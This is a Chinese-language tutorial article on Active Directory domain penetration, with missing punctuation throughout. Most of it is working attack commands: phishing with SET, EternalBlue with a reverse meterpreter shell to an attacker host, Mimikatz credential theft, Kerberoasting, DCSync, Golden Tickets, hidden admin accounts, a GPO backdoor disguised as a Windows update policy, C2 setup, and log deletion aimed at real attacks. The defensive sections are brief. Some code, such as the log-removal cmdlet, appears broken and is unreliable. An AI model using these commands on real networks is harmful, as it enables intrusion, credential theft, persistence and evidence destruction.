尧图精选

域渗透攻防:从基础概念到实战技术详解

🕒 发布时间:2026/9/12 1:57:58 📁 来源:尧图网络
1. 域渗透攻防基础概念解析域渗透Domain Penetration是指攻击者通过技术手段突破企业内网边界获取域控制器Domain Controller权限并控制整个域环境的过程。作为企业网络架构的核心Active DirectoryAD域环境一旦被攻陷意味着攻击者可以访问域内所有资源包括服务器、工作站、文件共享、数据库等关键资产。1.1 域环境的核心组件一个典型的Windows域环境包含以下关键组件域控制器DC运行Active Directory域服务的服务器负责用户认证和资源管理成员服务器加入域的各类应用服务器如SQL Server、Exchange等工作站员工日常使用的Windows电脑组策略GPO集中管理域内计算机和用户的配置设置信任关系不同域之间的认证通道提示在实战中攻击者往往会优先寻找域控制器和关键服务器如文件服务器、邮件服务器因为这些系统通常存储着高价值数据。1.2 域渗透的常见攻击路径根据MITRE ATTCK框架典型的域渗透攻击链包括初始访问如钓鱼邮件、漏洞利用执行运行恶意代码持久化创建后门账户、计划任务权限提升获取本地管理员权限凭证窃取获取域用户凭据横向移动在域内其他主机间跳转域控攻陷获取域管理员权限2. 域渗透实战环境搭建2.1 实验环境规划建议使用以下配置搭建域渗透实验环境主域控制器Windows Server 20192核CPU4GB内存100GB磁盘成员服务器Windows Server 20162核CPU2GB内存工作站Windows 102核CPU2GB内存攻击机Kali Linux 20232核CPU2GB内存网络拓扑示例[攻击机] --- [外部网络] --- [防火墙] --- [内网] --- [域控制器] |--- [成员服务器] |--- [工作站]2.2 域环境配置步骤安装域控制器# 在Windows Server上执行 Install-WindowsFeature AD-Domain-Services -IncludeManagementTools Install-ADDSForest -DomainName pentest.lab -DomainNetbiosName PENTEST -InstallDns创建测试用户和组New-ADUser -Name 普通用户 -SamAccountName user1 -AccountPassword (ConvertTo-SecureString Passw0rd! -AsPlainText -Force) -Enabled $true New-ADGroup -Name 财务部 -GroupScope Global Add-ADGroupMember -Identity 财务部 -Members user1配置组策略禁用Windows Defender实时保护允许NTLM认证关闭防火墙仅实验环境注意实际生产环境中绝不应该关闭这些安全设置此处仅为实验方便。3. 域渗透核心攻击技术详解3.1 初始访问技术3.1.1 钓鱼攻击模拟使用SETSocial Engineering Toolkit制作钓鱼页面# Kali Linux上执行 setoolkit 选择1) Social-Engineering Attacks 选择2) Website Attack Vectors 选择3) Credential Harvester Attack Method 选择2) Site Cloner 输入目标URL如公司OA登录页 设置本地监听IP3.1.2 漏洞利用针对未打补丁的系统可使用Metasploit框架msfconsole use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.100 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.50 exploit3.2 权限提升技术3.2.1 本地提权漏洞利用检查系统补丁情况# 在获取的meterpreter会话中执行 run post/windows/gather/enum_patches使用未安装补丁对应的漏洞模块如use exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move set SESSION 1 exploit3.2.2 组策略首选项漏洞提取组策略首选项中的密码# 在域内主机上执行 findstr /S /I cpassword \\DOMAIN\sysvol\DOMAIN\Policies\*.xml使用gpp-decrypt解密gpp-decrypt 加密的cpassword值3.3 横向移动技术3.3.1 Pass-the-Hash攻击使用Mimikatz获取哈希mimikatz # sekurlsa::logonpasswords使用获取的NTLM哈希进行横向移动psexec.py -hashes LMHASH:NTLMHASH administrator192.168.1.1013.3.2 Kerberoasting攻击请求SPN服务的TGS票据Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList MSSQLSvc/dbserver.pentest.lab导出票据并用hashcat破解Invoke-Kerberoast -OutputFormat Hashcat | Select-Object Hash | Out-File -Encoding ASCII kerberoast.txt hashcat -m 13100 kerberoast.txt rockyou.txt4. 域控攻陷与权限维持4.1 获取域管理员权限4.1.1 DCSync攻击使用Mimikatz模拟域控制器同步mimikatz # lsadump::dcsync /domain:pentest.lab /user:Administrator4.1.2 Golden Ticket攻击创建黄金票据mimikatz # kerberos::golden /user:Administrator /domain:pentest.lab /sid:域SID /krbtgt:KRBTGT账户的NTLM哈希 /ptt验证票据klist dir \\dc01.pentest.lab\c$4.2 权限维持技术4.2.1 创建隐藏账户使用DSInternals工具创建隐藏管理员New-ADUser -Name SupportAccount -SamAccountName support -AccountPassword (ConvertTo-SecureString Pssw0rd123! -AsPlainText -Force) -Enabled $true Add-ADGroupMember -Identity Domain Admins -Members support Set-ADObject -Identity (Get-ADUser support).DistinguishedName -Replace {adminCount1}4.2.2 组策略后门创建启动脚本后门New-GPO -Name Windows Update Settings Set-GPRegistryValue -Name Windows Update Settings -Key HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run -ValueName Backdoor -Value C:\Windows\Temp\backdoor.exe -Type String Link-GPO -Name Windows Update Settings -Target OUWorkstations,DCpentest,DClab5. 域渗透防御策略5.1 基础防御措施账户安全禁用NTLM认证强制使用Kerberos启用LSA保护RunAsPPL配置账户锁定策略日志监控# 启用详细日志记录 auditpol /set /category:Account Logon,Account Management,Detailed Tracking,Logon/Logoff,Object Access,Policy Change,Privilege Use,System /success:enable /failure:enable网络分段将域控制器隔离在专用VLAN限制RDP/SMB等服务的访问来源5.2 高级防御技术5.2.1 微软高级威胁防护ATP配置攻击面减少规则Set-MpPreference -AttackSurfaceReductionRules_Ids 规则ID -AttackSurfaceReductionRules_Actions Enabled5.2.2 特权访问工作站PAW部署专用管理工作站独立硬件设备禁用互联网访问仅允许访问管理接口5.3 应急响应流程发现入侵迹象时的响应步骤隔离受影响系统立即将疑似被入侵的主机从网络断开取证分析收集内存转储、日志、时间线信息凭证重置重置所有特权账户密码包括KRBTGT账户漏洞修复修补被利用的安全漏洞监控回连部署诱饵账户和蜜罐监控攻击者是否返回6. 域渗透实战案例解析6.1 案例一通过Exchange服务器攻陷域控攻击路径利用ProxyLogon漏洞CVE-2021-26855获取Exchange服务器权限通过Exchange的WriteDACL权限提升至域管理员使用DCSync导出域内所有用户哈希防御措施# 检查Exchange漏洞补丁状态 Get-Command ExSetup | ForEach { $_.FileVersionInfo }6.2 案例二通过打印机服务提权攻击路径利用PrintNightmare漏洞CVE-2021-34527加载恶意DLL获取SYSTEM权限后转储LSASS进程内存从内存中提取域管理员凭据缓解方案# 禁用Print Spooler服务非打印服务器 Stop-Service -Name Spooler -Force Set-Service -Name Spooler -StartupType Disabled7. 域渗透工具进阶使用7.1 BloodHound可视化分析收集域内关系数据SharpHound.exe --CollectionMethod All --Domain pentest.lab --ExcludeDCs分析攻击路径# 在BloodHound界面中查询 MATCH p(n)-[r:MemberOf|HasSession|AdminTo|AllExtendedRights|AddMember|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|CanRDP|ExecuteDCOM|AllowedToDelegate|ReadLAPSPassword|Contains|GpLink|AddAllowedToAct|AllowedToAct|SQLAdmin*1..]-(m:Computer {name:DC01.PENTEST.LAB}) RETURN p7.2 Covenant C2框架设置监听器# 在Covenant界面中 Listeners → Create → HttpListener Name: TestListener BindAddress: 0.0.0.0 BindPort: 80 ConnectAddress: 192.168.1.50生成PayloadLaunchers → Binary → Generate 选择Listener: TestListener DotNetVersion: Net40 Type: Console8. 域渗透后的痕迹清理8.1 日志清除技术使用Mimikatz清除安全日志mimikatz # event::clear /log:security更隐蔽的方法只删除特定事件$logs Get-WinEvent -LogName Security | Where-Object {$_.Id -eq 4624 -and $_.Properties[5].Value -like *Administrator*} $logs | Remove-WinEvent8.2 操作痕迹清理清除Prefetch文件Remove-Item C:\Windows\Prefetch\* -Force清除Recent文件Remove-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU -Name * -Force在实际渗透测试中我强烈建议保留完整操作日志用于报告编写仅在实际攻击行动中才需要进行痕迹清理。
上一篇/下一篇内容由系统自动关联 返回资讯列表 →